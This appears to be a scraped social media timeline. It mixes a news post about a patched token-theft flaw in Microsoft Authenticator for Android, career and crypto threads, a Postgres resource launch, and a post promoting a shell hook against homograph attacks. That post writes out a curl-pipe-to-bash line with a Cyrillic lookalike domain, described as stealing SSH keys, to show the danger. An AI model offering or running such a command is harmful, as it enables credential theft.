Cybersec demands will be rising! As we're seeing more and more attacks!
‼️Microsoft Authenticator Flaw Lets Malicious Android Apps Steal Account Tokens With Zero Permissions
Details: cybersecuritynews.com/micros…
Microsoft patched high-severity flaw CVE-2026-80097 (CVSS 8.6) in Authenticator for Android, allowing malicious apps with no declared permissions to steal work account access tokens due to improper authentication in its broker component.
Microsoft classified the flaw as a local elevation-of-privilege vulnerability. The issue affected Android devices with Microsoft Authenticator installed and a signed-in work account.
#cybersecuritynews
tensorboy.base.eth retweeted
Earlier, I used to believe the best way to grow in tech was to go deep.
Master the engineering behind everything, understand its internals, and keep going deeper, reading and understanding everything I could.
But now, AI has changed the way I see this.
Thread🧵
(1/9)
tensorboy.base.eth retweeted
1/ Most onchain activity is invisible. You transact across chains and have nothing to show for it except transaction hashes in a block explorer.
Hoppin changes that. Here's what we built.
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
tensorboy.base.eth retweeted
While working on the book, I had many ideas and received many suggestions on how to show more and dig deeper. But I had to stay focused on the book’s objective and keep only the topics that were truly necessary.
Those ideas and suggestions won’t vanish, though. I’ll start working on them slowly and publish them on the new "Just Postgres Tech" resource, which was launched tonight.
There isn’t much content there yet, but this resource is here to stay. I’ll keep developing and expanding it over time, whenever I have something worthwhile to share.
Go here: justpostgres.tech/
Completed 1 year at @Superboard_ 😅

























